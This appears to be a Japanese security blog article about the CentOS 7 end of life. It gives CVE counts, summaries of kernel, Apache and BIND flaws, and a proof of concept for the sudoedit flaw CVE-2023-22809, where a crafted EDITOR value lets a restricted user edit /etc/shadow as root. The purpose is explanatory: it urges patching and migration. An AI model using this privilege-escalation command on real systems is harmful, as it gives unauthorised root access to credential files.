2024 年 06 月 25 日
CentOS 7と脆弱性
企業がセキュリティ事故から身を守るためには「脆弱性と EOL(End Of Life: サポート終了)」にも気をつける必要があります。その中でも特に多くの企業で Red Hat Enterprise Linux の代替として使われている「CentOS Linux(以下、CentOS)」の EOL と脆弱性について説明します。
1. CentOS 7 の EOL は 2024 年 6 月
CentOS にも当然 EOL がありますが、中でも CentOS 7 は 2024 年 6 月 30 日で EOL を迎えます。 それ以降は、重大な脆弱性が発見されても開発本家のセキュリティアップデートが提供されなくなります。
一口に「セキュリティアップデートが提供されなくなります」と言っても、どれくらいの影響があるのか判断しにくいと思います。そこで実際に、2021 年〜2023 年に公開された脆弱性がどの程度あり、その中で CentOS 7/Red Hat Enterprise Linux 7(以下、RHEL7 と省略)も脆弱性を悪用される対象となっており、パッケージが更新されたものがどの程度あったかを見てみましょう。
2. 過去の公開された脆弱性の推移と CentOS 7 への影響
2-1. 全ての脆弱性の推移(2021-2023)
こちらのグラフは 2021-2023 で発行された CVE(脆弱性を識別するための識別子)の総数になります。こちらは全ての脆弱性の数になりますので、Cisco や Fortigate といったようなネットワークデバイスの脆弱性から、Linux や Windows/Mac といった OS、アプリケーション、iPhone/Android などのスマートフォンまで全ての製品が対象となっています。
見てもわかる通り、2022 年 10 月だけ 200x 年代の CVE が多く発行されたため突出していますが、基本的には月平均 2500 前後で右肩上がりに増加しています。
単純に「月 2500 程度」と言いますが、平均すると一日 80-90 件の脆弱性が報告されている計算になります(繰り返しになりますが、HW や SW、スマホなど全製品を含んだ数です)。これだけでも、皆様が思っているよりもかなり頻繁に脆弱性が見つかっていると言うことが理解できると思います。
2-2. CentOS 7/RHEL7 対象の脆弱性の推移(2021-2023)
こちらのグラフは、CentOS 7/RHEL7 で 2021 年以降に修正された CVE(つまり脆弱性)の数になります。
前出のグラフは「全ての製品」でしたので桁が違いますが、単純に「CentOS 7/RHEL7 が対象となっており」「パッケージの更新が必要となる」ものは月平均で 25-30 程度あることがわかります。これに関しては、やや右肩下りで減ってきているように見えますが、単純に考えると 2024 年にも月平均で 10-20 件ぐらいの「パッケージ更新が本当は必要な脆弱性」が出てくるのではないかと予想ができます。
2-3. CentOS 7/RHEL7 で緊急度の高い脆弱性の例
実際に CentOS 7/RHEL7 にも影響を及ぼすような「緊急度の高い脆弱性」が公開された例を直近でいくつか挙げてみましょう。
まずは、Linux Kernel の脆弱性で CentOS 7/RHEL7 に及ぼす影響が「Important」以上のものを調べてみます。2023 年に公開された脆弱性だけでも 14 件ありました。下はその中の数例です。
- Linux Kernel の net/sched の脆弱性 (Important: CVE-2023-3609)
- Linux Kernel の net/sched: cls_u32 コンポーネントに use-after-free の脆弱性が見つかりました。これによりローカルユーザーが権限昇格できる可能性があります。
- Linux Kernel の SYSCTL サブシステムでスタックオーバーフローの脆弱性 (Important: CVE-2022-4378)
- Linux Kernel の SYSCTL サブシステムでスタックオーバーフローの脆弱性が見つかりました。この脆弱性を利用してローカルユーザーがシステムをクラッシュさせたり特権を昇格することができる可能性があります。
- Linux Kernel の nf tables の脆弱性 (Important: CVE-2023-32233)
- Linux Kernel の Netfilter nf_tables (net/netfilter/nf_tables_api.c) に use-after-free の脆弱性が見つかりました。この脆弱性を利用して、ローカルの非特権のユーザーが任意の kernel コードを実行したり、情報漏えいの問題を引き起こすことができる可能性があります。
さらに上で動くアプリケーションも含めると、2023 年に公開された脆弱性は 118 に膨れ上がります。下はその中の数例です。
- Apache HTTP Server の脆弱性情報 (Important: CVE-2023-25690)
- mod_rewrite と mod_proxy による HTTP リクエスト分割
特定の mod_proxy 設定により HTTP リクエストスマグリング攻撃が許可されてしまいます。このため、意図しない URL がオリジンサーバーにプロキシされ、キャッシュポイズニングが発生する可能性があります。
- mod_rewrite と mod_proxy による HTTP リクエスト分割
- BIND 9 の脆弱性情報 (Hig: CVE-2023-2828, CVE-2023-2829, CVE-2023-2911)
- CVE-2023-2828
特定の順序で特定の RRset をリゾルバにクエリした際に、named で使用されるキャッシュクリーニングアルゴリズムが意味をなさなくなり、設定された最大キャッシュサイズ制限を大幅に超える可能性があることがわかりました。この脆弱性を悪用することで、攻撃者は named が動作しているホストの有効なメモリを食いつぶさせることが出来、DoS に繋がります。 - CVE-2023-2829
DNSSEC 検証再帰リゾルバとして実行されるように構成された named インスタンスは、不正な形式の NSEC レコードを持つゾーンを使うことでリモートから終了させることが出来ます。これにより、特別に細工されたクエリをリゾルバに送ることで、攻撃者はリモートの named を終了させることが可能です。 - CVE-2023-2911
stale-answer-enable yes; でかつ stale-answer-client-timeout 0; と設定された BIND 9 リゾルバに特別に細工されたクエリを送り込むことで、named をループに陥れてスタックオーバーフローにより named を強制終了させることが可能です。
- CVE-2023-2828
3. 脆弱性悪用の例(sudo の脆弱性:Important: CVE-2023-22809)
以下では、実際に 01/19/2023 に公開された "sudo -e" オプション (sudoedit) の脆弱性 (CVE-2023-22809) の悪用例を見てみたいと思います。
この脆弱性は「EDITOR 変数に "-" という引数を含めることで、何らかのファイルに書き込めるように設定されているユーザは任意のファイルを編集することが出来る」というもので、脆弱性の深刻度を表す CVSS では Base Score で「7.8 High」とされています。
3.1 CVSS 情報
- 影響するバージョン
- 1.8.0 - 1.9.12p1
- 一時情報源
- Priority
- Red Hat: Imporntant
- CVSS
- Base Score: 7.8
- Red Hat: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
3.2 PoC
3.2.1 マシン環境
CPU | Ryzen 7 PRO 4750U with Radeon Graphics |
---|---|
Memory | 2G |
Machine | VMWare ゲスト環境を使用 |
OS | CentOS Linux release 7.9.2009 (Core) |
ホスト名 | CentOS7 |
Update | インストール直後の状態で yum update をしていない状態 |
sudo バージョン | Sudo バージョン 1.8.23 |
vim バージョン | 7.4.629 |
3.2.2 前提条件:sudo 設定
- sudo を実行できるユーザーとして「sudotest」を作成しています。sudotest は /etc/sudoers により、/var/tmp/readonly/edittest ファイルのみを sudoedit コマンド ( 実際には "sudo -e" が起動 ) で編集できる権限を与えられています。
## Allow root to run any commands anywhere root ALL=(ALL) ALL sudotest ALL=(ALL:ALL) sudoedit /var/tmp/readonly/edittest
- /var/tmp/readonly ディレクトリは、root のみが読み込みでアクセスできるように設定されています。/var/tmp/readonly ディレクトリ内に root が読み書きできる「edittest」ファイルが存在します。
[root@centos7 ~]# ls -l /var/tmp |grep readonly dr--------. 2 root root 22 4 月 7 13:35 readonly [root@centos7 ~]# ls -l /var/tmp/readonly/ 合計 4 -rwx------. 1 root root 44 4 月 7 13:36 edittest
- sudotest ユーザーは /var/tmp/readonly/edittest を sudoedit コマンド ( 実際には "sudo -e" が起動 ) で編集できます。
[sudotest@centos7 ~]$ sudoedit /var/tmp/readonly/edittest --sudoedit により編集が可能 -- This file is ReadOnly. sudotest user can modify it.
- sudotest ユーザーは sudo を用いて sudoedit コマンド以外を実行することはできません。
[sudotest@centos7 ~]$ sudo ls /var/tmp/readonly/ediittest [sudo] sudotest のパスワード : 残念ですが、ユーザー sudotest は '/bin/ls /var/tmp/readonly/ediittest' を root として centos7.localhost 上で実行することは許可されていません。
- sudotest ユーザーは、当然 /var/tmp/readolny/edittest 以外は sudoedit コマンドでもアクセスできません。
[sudotest@centos7 ~]$ sudo sudoedit /etc/shadow [sudo] sudotest のパスワード : 残念ですが、ユーザー sudotest は '/bin/sudoedit /etc/shadow' を root として centos7.localhost 上で実行することは許可されていません。
3.2.3 PoC
- sudotest ユーザーが「EDITOR="" の環境変数を指定し、"-" を渡すようにします。」
[sudotest@centos7 ~]$ EDITOR="vim -- /etc/shadow" sudoedit /var/tmp/readonly/edittest
- sudotest ユーザーが /var/tmp/readonly/edittest を開く前に、root ユーザーとして /etc/shadow ファイルを vim で開いてしまいます。root ユーザーなので、もちろん編集が可能になります。
root:$xxxx( 伏せ字 )xxxxx.::0:99999:7::: bin:*:18353:0:99999:7::: - 省略 - sshd:!!:19820:::::: sudotest:$xxx( 伏せ字 )xxxxx.:19820:0:99999:7::: apache:!!:19820:::::: This is a test <--- sudotest ユーザーが書き込むことが出来る
- root で /etc/shadow ファイルを確認すると、編集されていることがわかります。
[root@centos7 ~]# cat /etc/shadow root:$xxxx( 伏せ字 )xxxxx.::0:99999:7::: bin:*:18353:0:99999:7::: - 省略 - sshd:!!:19820:::::: sudotest:$xxx( 伏せ字 )xxxxx.:19820:0:99999:7::: apache:!!:19820:::::: This is a test <--- sudotest ユーザーによって書き込まれてしまった。
3.3 修正
"yum update" コマンドで sudo のバージョンを新しくすることで、この脆弱性は回避できます。下記は、アップデート後の sudo で同様に EDITOR="" を使って "--" を入れた結果です。
[sudotest@centos7 ~]$ sudo --version Sudo バージョン 1.8.23 sudoers ポリシープラグイン バージョン 1.8.23 sudoers ファイル文法バージョン 46 Sudoers I/O plugin version 1.8.23 [sudotest@centos7 ~]$ EDITOR="vim -- /etc/shadow" sudoedit /var/tmp/readonly/edittest sudoedit: ignoring editor: vim -- /etc/shadow sudoedit: editor arguments may not contain "--"
3.4 この脆弱性の想定被害範囲
この脆弱性に関しては
- 元々sudo で何らかのファイルにアクセス権限が与えられているユーザーが必要になる
- local にログインしてそのユーザーとしてコマンドを実行する必要がある
と、悪用に関してハードルが高い前提条件が存在するため、単独ではあまり悪用される可能性が高いとは思えません。
しかし、2. に関しては別の脆弱性の悪用や認証情報の不正入手などでログインできる可能性があるため、他の脆弱性や攻撃と組み合わせて使用されると厄介なことになるでしょう。
4. EOL の後、どうなるか?
上述したような PoC やその他の脆弱性のようなタイプの脆弱性は、EOL の後は基本的に「修正されません」。
例えば、2014 年に「ShellShock」と呼ばれる bash の重大な脆弱性が公開され、多数の Linux ディストリビューションが影響を受けました。影響を受けるディストリビューションには当時 EOL になった「CentOS 4」も含まれていたのですが、CentOS のサイトでは ShellShock の脆弱性を修正した bash パッケージはリリースされませんでした。
OS やミドルウェアの EOL に関しては充分気をつけておき、EOL が近くなった場合にはすぐにメジャーバージョンの更新や、メジャーバージョンの更新が難しい場合には暫定処置をすぐに取れるようにしておくことが重要です。前述のように、現状でも 1 ヶ月辺り平均で 10-20 のパッケージ更新がされていると言うことは、EOL 後も同様の状況が発生する可能性が充分にあるため、非常にリスクとなるからです。
5. 参照リンク
- Red Hat: 「What to know about CentOS Linux EOL」
- CentOS: Security/Shellshock
この記事の著者
OSS/ セキュリティ / 脅威インテリジェンスエバンジェリスト
面 和毅